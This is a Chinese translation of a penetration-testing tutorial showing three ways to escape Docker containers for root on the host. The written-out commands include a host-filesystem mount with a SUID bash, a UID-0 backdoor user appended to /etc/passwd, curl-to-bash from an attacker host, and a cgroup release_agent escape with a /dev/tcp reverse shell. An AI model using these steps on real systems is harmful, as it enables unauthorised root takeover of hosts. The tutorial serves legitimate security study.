本文透過 Google 翻譯 Docker Breakout – Linux Privilege Escalation 這篇文章所產生,本人僅是對機器翻譯中部分表達彆扭的字詞進行了校正及個別註釋補充。
導航
- 0 前言
- 1 什麼是 Docker ?
- 2 尋找 Docker 許可權
- 2.1 升級 Shell 到完整 TTY
- 2.2 手動列舉 Docker 組中的使用者
- 2.3 手動列舉 Docker 服務
- 2.4 手動列舉 Docker 映象和預設使用者
- 2.5 工具列舉 Docker – LinPEAS
- 3 場景1:透過濫用 Docker 組許可權提權
- 3.1 在 GTFOBins 上查詢 Docker 利用
- 3.2 在 Docker 容器中掛載宿主機檔案系統
- 3.3 突破 Docker 容器以獲取宿主機 Root 許可權
- 4 場景2:直接在特權容器中立足
- 4.1 確認處於 Docker 容器中
- 4.2 確認這是一個特權容器
- 4.3 突破特權容器
- 4.3.1 新增 "root" 使用者
- 4.3.2 登入 "root" 使用者
- 5 場景3:直接在非特權容器中立足
- 5.1 確定這不是特權容器
- 5.2 尋找其它突破方法
- 5.2.1 查詢已啟用的有趣功能 – CAP_SYS_ADMIN
- 5.2.2 確認 AppArmor 未載入
- 5.3 使用工具尋找 Docker 突破口 – LinPEAS
- 5.3.1 找到很多關於容器的好資訊
- 5.4 使用 release_agent Breakout 2 方法突破非特權容器
0、前言
在本文中,我們將探索使用 Docker 突破技術在目標 Linux 主機上提升許可權。
我們將回顧三種不同的 Docker 突破場景。在每種場景中,我們都會看到一種可以用來突破 Docker 容器的不同技術,而每種情況都會讓我們在目標主機上獲得 root shell!
首先,我們要在目標主機上站穩腳跟,然後經過手動列舉,我們會發現當前使用者已加入 docker 組。發現這一點後,我們將列舉 docker 服務,並收集我們所需的資訊,以便投入到 docker 容器中。我們透過使用 GTFOBins 找到一個利用,使我們能夠以 root 身份操縱實際的檔案系統。
另一種場景是,我們在目標系統中獲得了立足點;然而,我們會發現,我們的立足點實際上是在目標主機上執行的 docker 例項中。然後,我們將列舉容器內的一些東西,這些東西將表明我們實際上是在一個有特權的容器內,而脫離容器將變的輕而易舉。
最後一種場景與上一種場景類似,只是我們會發現我們並不在特權容器中。但幸運的是,經過列舉會發現我們實際上擁有正確的許可權組合,可以讓我們突破 docker 容器,從而在宿主機上獲得 root shell。
1、什麼是 Docker ?
Docker 是一個開放平臺,用於開發、釋出和執行獨立於主機基礎設施的應用程式。
使用 Docker 可以將應用程式打包並在一個稱為容器的鬆散隔離環境中執行。這種隔離和安全性允許許多容器同時在指定主機上執行。
容器是輕量級的,包含執行應用程式所需的一切。
Docker 使用客戶端-伺服器架構。 Docker 客戶端與 Docker 守護程序通訊,後者負責構建和執行 Docker 容器的繁重工作。
作為攻擊者,我們可以看到 docker run 是上面三個客戶端命令中最有趣的,因為它能讓我們進入一個容器。
關於 Docker,還有一些其他有趣的事情需要記住,這將有助於我們定位這項服務:
- docker 容器通常以 root 作為預設使用者執行。
- 預設情況下,容器以 root 身份執行,因為 dockerd(docker 守護程序)預設也以 root 身份執行。
- 容器啟動選項 –privileged 為容器提供了所有功能。換句話說,容器幾乎可以做主機能做的所有事情。
- docker 組中的使用者對於 docker 服務而言相當於 root。
注:此處及後文提到的 docker 容器使用者和 docker 程序使用者並非同一個身份。
docker 容器使用者:指進入容器之後,在容器操作環境中的使用者身份。
docker 程序使用者:指容器外部 docker 守護程序是以宿主機的哪個使用者身份去執行的。
考慮到所有這些,讓我們來看一些例子!
2、尋找 Docker 許可權
對於此示例,我們假設以標準使用者 dawker 在目標 Linux 主機上獲得了立足點。
2.1、升級 Shell 到完整 TTY
站穩腳跟後我們要做的第一件事就是將 shell 升級為完整的 TTY。我們可以使用以下命令集來完成此操作:
python3 -c 'import pty;pty.spawn("/bin/bash");'
CTRL + Z
stty raw -echo;fg
export TERM=xterm
現在有了完整的 TTY,我們可以使用箭頭瀏覽命令歷史記錄、使用製表符補全、清除終端等。
完整 TTY 對於我們將要使用的漏洞利用來說還是很有必要的。
2.2、手動列舉 Docker 組中的使用者
一旦建立了完整的 TTY,應該執行的第一對命令是 whoami 和 id。這將向我們顯示當前是哪個使用者以及哪個組。
whoami ; id
在這裡可以看到當前使用者是一個名為 dawker 的標準使用者。然而,在該使用者所屬的組列表中,我們可以看到一個有趣的發現--當前使用者已位於 docker 組中!
加入 docker 組是一個有趣的發現,因為如果 docker 使用的是預設配置,那麼 root 許可權就是有保障的。
但大多數時候,我們不會直接就以 docker 組中的使用者身份在目標主機上立足,因此,我們需要對 docker 組中的使用者進行水平提權,然後才能獲得 root 許可權。
如果是這種情況,那麼我們可以使用以下 for 迴圈 來尋找 docker 組中的使用者:
for user in $(cat /etc/passwd | awk -F: '{print $1}');do echo "$user" ; id "$user" ;done | grep -B 1 "docker"
這個 for 迴圈執行以下操作:
- 首先,使用 cat /etc/passwd 檢視系統上的所有使用者,然後使用awk 只輸出使用者名稱欄位。
- 接下來,迴圈回顯每個使用者名稱並對它們執行 id 命令。
- 最後,使用 grep 只抓取其中包含 “docker” 的結果。
以上執行結果也向我們表明第二個使用者 “devops” 也在 docker 組中。而如果我們以既不是 “devops” 也不是 “dawker” 的使用者身份進入 shell,那麼我們會想要尋找一種方法來水平提權到其中一個使用者。
2.3、手動列舉 Docker 服務
幸運的是,我們發現當前使用者正好位於 docker 組中。
那麼接下來,我們需要進一步列舉 docker 服務,以確定是否可以濫用 docker 組許可權提升到 root。
此處跑題開始
首先需要確定的是,我們是否可以掛載 docker 套接字。如果發現套接字可以寫入,我們就可以有效地使用 docker 命令並將其放入容器中。
find / -name docker.sock 2>/dev/null
執行 find 命令後,docker.sock 檔案的位置就暴露了。找到後,我們可以檢查該檔案的許可權。
ls -l /run/docker.sock
在這裡,我們可以看到 docker.sock 檔案對 docker 組中的使用者是可寫的!這意味著我們可以用當前使用者操作及登入容器。
注:該部分的主題以列舉 docker 服務為主,而此處的描述有些跑題,顯得詞不達意,但依舊值得去學習。
套接字 docker.sock 檔案相當於是 Docker 守護程序的一個 API 介面,多用於容器與守護程序通訊以操作管理守護程序,通俗易理解示例如 docker.ui 容器管理容器。
也就是說,如果我們能夠有權讀寫 docker.sock 檔案,即便不是 root 使用者、不在 docker 組中,我們也依舊可以透過一些特殊操作去管理容器(建立、檢視、互動)。
參考:特殊操作1、特殊操作2
此處跑題結束
接下來我們要列舉的是 docker 服務。理想情況下,我們希望該服務不是在無根模式下執行。
使用無根模式,Docker 容器和守護程序都會在定義的使用者名稱空間內執行。這樣,守護程序就可以在沒有 root 許可權的情況下執行。
ps -ef | grep -i "docker"
Great!在這裡,我們可以看到 docker 守護程序是以 root 的身份執行的,這意味著我們可以以 root 的身份在容器外執行命令。
注:在場景1中,在容器中進行的複製賦權等操作同樣作用到了容器外部的系統上面,而這些操作在容器外部本應該是以 root 身份去進行的,但由於 docker 程序是 root 身份執行的,故這些在容器中的操作也同樣有了 root 身份的加持。
繼續往下看,我們應該進一步列舉 docker 是如何配置的,以確定在建立容器並登入容器後使用的是哪個身份的使用者。
2.4、手動列舉 Docker 映象和預設使用者
Docker 容器總是以 root 作為預設使用者執行,除非在 Dockerfile 或啟動命令列中另有指定。
確定該主機上的容器是否以 root 作為預設使用者執行的最佳方法是簡單地啟動一個容器。
首先,我們看下目標主機上現有的 docker 映象有哪些,可以使用以下命令:
docker images
可以看到,這裡安裝了一個 Alpine 映象,因此我們可以記下儲存庫名稱 “alpine”,以便在啟動容器時使用該名稱。
在啟動容器時,您還可以使用映像 ID 代替儲存庫名稱。
接著,我們啟動一個容器,該容器將執行單個命令 (whoami),然後自行銷燬。
docker run --rm -it alpine sh -c "whoami"
Amazing!主機使用預設配置,容器以 root 作為預設使用者執行!
現在我們已經列舉了這項服務,並確認它存在漏洞,那麼我們就可以尋找漏洞來提升許可權。
然而,在我們這樣做之前,讓我們看看 LinPeas 是如何列舉資訊的。
2.5、工具列舉 Docker – LinPEAS
LinPEAS 是一款終極的後滲透列舉工具,本文中關於它在受害者機器上進行的傳輸、執行等過程不再累述,我們只關注在指令碼執行結束之後關於輸出結果的梳理,看看 LinPEAS 列舉效果如何。
LinPEAS 首先要做的檢查之一是 "Basic Information",它基本上是透過幾個簡單的命令來提供高階資訊。
這裡執行的簡單命令之一是 id,它立即向我們顯示當前使用者位於 docker 組中。
接著,我們來到 “Processes, Crons, Timers, Services and Sockets” 部分,在這裡我們可以看到 dockerd 程序由 root 擁有。
令人驚訝的是,這甚至不是一個紅色發現,這意味著如果我們不知道尋找它,它很容易會被忽視。
在同一部分中進一步向下滾動。我們將會遇到 Unix Sockets。在這裡我們會發現 docker.sock 檔案是可寫的。
過去,可寫的 docker.sock 結果總是紅色/黃色。但在最新版本的 LinPEAS 中(本文撰寫時),這只是一個紅色結果。
下一部分我們將在 “User Information” 部分找到有關 docker 的資訊。
在這裡,我們可以看到針對當前使用者再次發出的 id 命令。再往下一點,我們還可以看到 docker 組中的所有使用者。
最後,當我們繼續向下滾動時,我們將看到 “docker files”,但在這個例子中它們都不是重點。
以上結果表明,LinPEAS 能夠像手動操作一樣列舉 docker 服務。
請記住,LinPEAS 並不會嘗試列舉容器映象,也不會檢查容器是否以 root 作為預設使用者執行。
現在,我們已經瞭解瞭如何列舉 docker 服務、映象和預設使用者,接下來讓我們看看如何利用我們發現的內容繼續利用該服務。
3、場景1:透過濫用 Docker 組許可權提權
之前我們瞭解瞭如何列舉容器中的預設使用者,而預設使用者恰好是 root。進行列舉時,我們使用 docker run 命令啟動容器來執行單條命令。
與我們啟動容器來執行單條命令類似,我們也可以啟動容器並進入 shell 中,以與其進行命令互動。
docker run --rm -it alpine sh
這一次,我們進入了一個帶有檔案系統的容器,不過請注意,在這個檔案系統中的 root 與在宿主機上的 root 是並不相同的。
3.1、在 GTFOBins 上查詢 Docker 利用
那麼我們如何才能從容器中的 root 轉到實際主機上的 root 呢? 答案就在於 docker run 命令以及我們如何啟動容器。
由於漏洞利用依賴於 docker 命令,因此我們可以檢查 GTFOBins 以查詢漏洞利用。
我們知道當前的使用者正好位於 docker 組中,而這也正好符合上面 docker 命令的使用條件,這也就意味著我們可以利用它並獲得 root 許可權!
GTFOBins 給出的利用命令有很多選擇,但 “shell” 絕對是最有趣的。
這告訴我們,我們可以擺脫受限環境並獲得 root shell,這太完美了!
上面的命令會將宿主機檔案系統掛載到容器內的 /mnt 目錄,然後將我們放入 /mnt 中的 shell 中。本質上,我們將成為容器內的 root,但實際上會與宿主機的檔案系統進行互動。
3.2、在 Docker 容器中掛載宿主機檔案系統
由於目標主機上的映象檔案也是 alpine,因此我們可以使用 GTFOBins 中的命令,而無需對其進行編輯。
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
現在,當我們執行 ls 命令時,我們看到列出了更多的目錄。這是因為我們看到的是宿主機檔案系統上的目錄!
因為我們掛載了宿主機檔案系統,所以我們對檔案或目錄所做的任何更改也將反映在宿主機的檔案系統上。
不過,事實是,我們仍在 docker 容器中。所以,讓我們看看如何才能擺脫困境,在真正的主機上獲得 root!
3.3、突破 Docker 容器以獲取宿主機 Root 許可權
由於我們已經掛載了宿主機的檔案系統,因此突破 docker 容器將是輕而易舉的。
我們可以使用一些很好的技術來突破這個容器,但是在這個例子中,我們將透過製作 SUID bash 二進位制檔案來提升到 root 許可權。
cp /bin/bash /tmp/bash
chmod +s /tmp/bash
ls -l /tmp
Amazing!我們可以看到 SUID bash 二進位制檔案已在 /tmp 目錄中建立。
現在,當我們從容器中退出時,應該會在實際主機上看到相同的 SUID bash 二進位制檔案。
確認檔案位於宿主機上後,我們只需執行以下命令即可進入 root shell:
/tmp/bash -p
Awesome!我們成功脫離了 docker 容器,並在宿主機上獲得了 root shell。
4、場景2:直接在特權容器中立足
上一種場景中,我們先是在外部利用主機並獲得了一個普通使用者 shell。但這一次,當我們站穩腳跟時,似乎立刻就獲得了 root ?
此時此刻,我們還不確定自己是否在容器中。
在此示例中,我們使用 netcat 立足,因此我們應該像之前一樣嘗試升級到完整的 TTY。
好吧,既然我們是 root,我們不妨看看是否可以檢視 /root 目錄中的檔案。
有趣的是,我們在這裡什麼也沒看到,這時候我們就應該開始懷疑自己是不是在一個 docker 容器中。
4.1、確認處於 Docker 容器中
我們可以使用幾種方法來檢查自己是否處於 docker 容器中。
首先,12 個隨機數字/字母組合作為主機名是一個常見的標誌,表明我們位於 docker 容器中。
另一個要找的東西是檔案系統根目錄下的 .dockerenv 檔案。如果我們看到了這個檔案,那麼很有可能我們是在一個容器中。
ls -la /
最後,確認我們是否處於 docker 容器中的最佳方法是檢查 cgroup 程序。
cat /proc/1/cgroup
看到所有屬於 docker 的控制組,就能確認我們確實是在一個 docker 容器中。
4.2、確認這是一個特權容器
由於直接立足於 docker 容器,因此我們這次就不能使用 docker run 命令進行漏洞利用。相反,我們必須從 docker 容器內部進行列舉以確定是否設定了 –privileged 標誌。
有很多方法可以判斷在啟動容器時是否使用了 –privileged 標誌,從 fdisk 命令開始。
fdisk -l | grep -A 10 -i "device"
由於我們能夠列出裝置,因此基本上可以確認我們是在一個有許可權的容器中。在非特權容器中,這條命令將被拒絕執行。
檢查我們是否處於特權容器中的另一種方法是檢查狀態程序中的 seccomp 值。
cat /proc/1/status | grep -i "seccomp"
看到兩個欄位都為 0 清楚地表明這是一個特權容器。在非特權容器中,我們將分別看到 2 和 1。
最後,我們還可以進行一項檢查,也許是最簡單的一項檢查,就是檢視 /dev 目錄中有多少檔案。
ls /dev
在 /dev 中看到大量檔案和子目錄,證明這是一個特權容器。在非特權容器中,我們不會在其中看到如此多的檔案。
4.3、突破特權容器
現在我們已經確定我們處於一個特權容器中,下一步就是突破它。
與上一個示例類似,我們將掛載宿主機檔案系統以突破容器。這次的不同之處在於我們需要從 docker 容器內部掛載它。
首先,我們需要找到屬於主機的驅動器,以便掛載它。
df -h
在這裡,我們可以看到 sda5 是主機驅動器,這也是我們在前面的 fdisk 命令輸出中看到的。
有了主機驅動器的名稱,我們現在可以掛載它,然後從 Docker 內部訪問主機上的所有檔案。
mkdir -p /mnt/juggernaut
mount /dev/sda5 /mnt/juggernaut
ls -l /mnt/juggernaut
Great!我們成功掛載了宿主機檔案系統,現在我們可以 root 身份與其互動。
儘管我們擁有宿主機檔案系統的 root 訪問許可權,但事實是我們仍然在容器中。所以現在我們需要突破容器以獲得實際主機上的 root shell。
但與上次不同的是,我們無法複製 bash 並設定 SUID 位,因為我們在主機上沒有立足點來執行它。
相反,我們需要做一些不同的事情來獲取 root shell。
對於本例,我們要做的是建立一個 root 使用者,然後使用它透過 SSH 連線到主機。
注:此處必須要了解 docker 容器和宿主機之間的網路模式,本例容器的網路模式必須是 host 模式,也就是容器相當於一個應用部署在宿主機上,和宿主機使用共同的網路卡、共同的 ip ,且假設宿主機已執行 ssh 服務。若容器使用其它的網路模式,則下列方法無效。
4.3.1、新增 “root” 使用者
由於宿主機檔案系統掛載在容器中,因此透過編輯容器內部的 passwd 檔案,更改也會發生在宿主機上。
首先,我們需要在攻擊者計算機上為 root 使用者生成密碼雜湊。
openssl passwd -1 -salt r00t password123
獲得雜湊值後,我們可以獲取此資訊並將其輸入以下命令,以將新行附加到 passwd 檔案中,建立一個名為 r00t 的新 root 使用者:
echo 'r00t:$1$r00t$HZoYdo0F7UZbuKrEXMcah0:0:0:/dev/shm/pwnt:/bin/bash' >> /mnt/juggernaut/etc/passwd
4.3.2、登入 “root” 使用者
Perfect!我們的 root 使用者已經建立了。現在我們需要做的就是透過 SSH 連線到主機,我們就擁有了 root shell!
因為我們將使用者 id 和組 id 設定為0,所以這個新使用者和內建的 root 是一樣的。只要 UID 和 GID 為 0,所有 "root" 都是平等的。
ssh r00t@172.16.1.150
BOOM!就這樣,我們無需先在宿主機上站穩腳跟,就能脫離 docker 容器!
5、場景3:直接在非特權容器中立足
正如我們在上一個例子中所看到的,我們從外部利用了同一臺主機,並再次直接在 docker 容器中獲得了立足點。
對於這個例子,假設我們已經升級到完整 TTY,並且我們還確認自己就是處於 docker 容器中。
接下來,我們需要檢查這是否是一個特權容器。
5.1、確定這不是特權容器
就像上一個例子一樣,我們首先檢查是否可以使用 fdisk 命令。
fdisk -l | grep -A 10 -i "device"
這次我們什麼也沒看到!這是一個早期跡象,表明我們並不處於特權容器中。但是,我們繼續檢查……
cat /proc/1/status | grep -i "seccomp"
Ouch! 分別看到 2 和 1,說明該容器沒有使用 -privileged 標記執行。
為了檢視我們之前所做的三項檢查中特權和非特權之間的區別,我們還可以檢查 /dev 以確認這不是一個特權容器。
ls /dev
與在特權容器中相比,在 /dev 中幾乎看不到任何檔案或子目錄,這進一步表明該容器沒有特權。
那麼,如果容器沒有特權,我們該如何逃生呢?這取決於該容器是否被授予了任何許可權。如果設定的是預設許可權,那麼我們很可能無法逃出。
5.2、尋找其它突破方法
如果容器擁有預設許可權,那麼它基本就被鎖定了。不過,我們仍應檢查是否授予了任何許可權。如果我們運氣好,啟用了正確的組合,我們就可以逃出這個容器。
5.2.1、查詢已啟用的有趣功能 – CAP_SYS_ADMIN
我們首先要檢查的是,我們是否啟用了任何可以幫助我們突圍的功能。
capsh --print
在這裡,我們可以看到在容器中啟用 CAP_SYS_ADMIN 的一個重要功能。有很多功能可用於突破 docker 容器,但這個功能是迄今為止最好用的功能。
需要使用 CAP_SYS_ADMIN 來執行容器內所需的一系列管理操作。如果在容器內執行特權操作,但沒有使用 -privileged 標記,那麼該功能很可能是為 "最小特權原則 " 而設定的。
由於我們發現在此容器中啟用了 CAP_SYS_ADMIN,因此我們需要重點關注專門使用此功能的漏洞利用。
對我們來說幸運的是, Felix Wilhelm 發現了一個漏洞,只要滿足 2 個條件,攻擊者就可以突破 docker 容器:啟用 CAP_SYS_ADMIN 、 AppArmor 停止或未載入。
5.2.2、確認 AppArmor 未載入
根據這次攻擊的要求,我們需要做的就是檢查 AppArmor 是否正在執行。如果幸運的話,我們發現它沒有被載入或停止執行,那麼我們就可以突破這個容器並在宿主機上獲得 root 許可權!
要檢查 AppArmor 是否正在執行,我們所要做的就是檢查一個檔案,即 /sys/kernel/security/apparmor/profiles 檔案。
如果檢查 /sys/kernel/security/apparmor/profiles 的內容,顯示 一堆 profile 列表,則表明 AppArmor 正在執行;如果顯示 空檔案且不返回任何內容,則表明 AppArmor 已停止;如果提示該檔案不存在,則表明 AppArmor 未被載入。
到了關鍵時刻……
cat /sys/kernel/security/apparmor/profiles
Perfect!我們檢查該檔案後發現它不存在,這意味著 AppArmor 未被載入!
由於 AppArmor 未載入且 CAP_SYS_ADMIN 已啟用,因此我們擁有突破此容器所需的兩個條件,即便該容器啟動時並未設定 –privileged 標誌。
然而,在我們瞭解如何突破這個容器之前,讓我們再來看看 LinPEAS 在容器內部的列舉效果如何。。
5.3、使用工具尋找 Docker 突破口 – LinPEAS
假設一切都已設定完畢並準備就緒(HTTP 伺服器在攻擊者上執行以提供 LinPEAS),我們需要做的就是下載並執行 LinPEAS。
curl 172.16.1.30/linpeas.sh | bash
首先,我們會注意到測試結果是以 root 身份執行的。不幸的是,這會導致一些誤報。
因為我們是 root,所以我們會看到很多紅色/黃色的結果。為了消除噪音,實際上,在執行 LinPEAS 之前,我們已經進行了一些手動列舉,以確定我們是處在容器中。瞭解了這一點,我們就可以避開噪音,直接獲取我們想知道的資訊。
如果我們向下滾動一點,我們將看到 “Protections”,在這裡我們可以看到容器中啟用了哪些安全功能。
這告訴我們 seccomp 已啟用,但 AppArmor 是 “unconfined”,這意味著我們應該能夠使用 mount 命令。
啟用 AppArmor 後,您將無法使用 mount 命令,許可權將被拒絕。
5.3.1、找到很多關於容器的好資訊
在 “Protections” 小節下方,我們將看到 “Container” 部分,這裡是我們瞭解容器配置最多的地方。
在這裡我們可以看到 LinPEAS 已經確定我們處於一個容器中,並且它表明 AppArmor 是 “unconfined”。然而,最有趣的發現是 docker 很容易受到 “release_agent breakout” 1 和 2 的影響。
接下來,如果我們再向下滾動一點,我們可以看到“Container Capabilities”。
本節以外的其餘檢查都是標準檢查,由於已經是 root,所以它們充滿了紅色/黃色發現的誤報。
LinPEAS 在列舉容器內部方面做得很好。它能夠找到我們透過手動列舉找到的所有資訊;然而,真正的好處是 LinPEAS 可以根據當前許可權集檢查可以使用的不同突破方法。
5.4、使用release_agent Breakout 2 方法突破非特權容器
透過列舉 docker 容器,我們發現應該能夠使用 “release_agent breakout 2” 方法進行突破。
現在讓我們看看如何使用此技術進行突破並以 root 身份獲得反向 shell!
首先,我們需要掛載 RDMA cgroup 控制器並建立一個子 cgroup。
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
完成後,我們需要在“x”cgroup 釋出時啟用 cgroup 通知。
echo 1 > /tmp/cgrp/x/notify_on_release
接下來,我們需要找到容器的 OverlayFS 的掛載路徑。
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
設定完畢後,下一步是將 release_agent 設定為 /path/payload
echo "$host_path/breakout" > /tmp/cgrp/release_agent
現在,我們將製作有效載荷,它將是透過埠 443 到達我們攻擊者機器的反向 shell。
echo '#!/bin/bash' > /breakout
echo 'bash -i >& /dev/tcp/172.16.1.30/443 0>&1' >> /breakout
接下來,我們只需要為有效載荷新增執行許可權,然後返回到我們的攻擊者機器在埠 443 上設定一個 netcat 監聽器。
chmod a+x /breakout
回到我們的攻擊者機器上......
nc -nvlp 443
最後,再次回到受害者,我們現在可以使用以下命令執行我們的有效負載:
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
關鍵時刻,我們獲得了 root shell。
Amazing!即使啟動容器沒有設定 –privileged 標誌,我們也能夠突破並獲得主機的 root 許可權!當然,要使此漏洞發揮作用,確實需要設定一些許可權。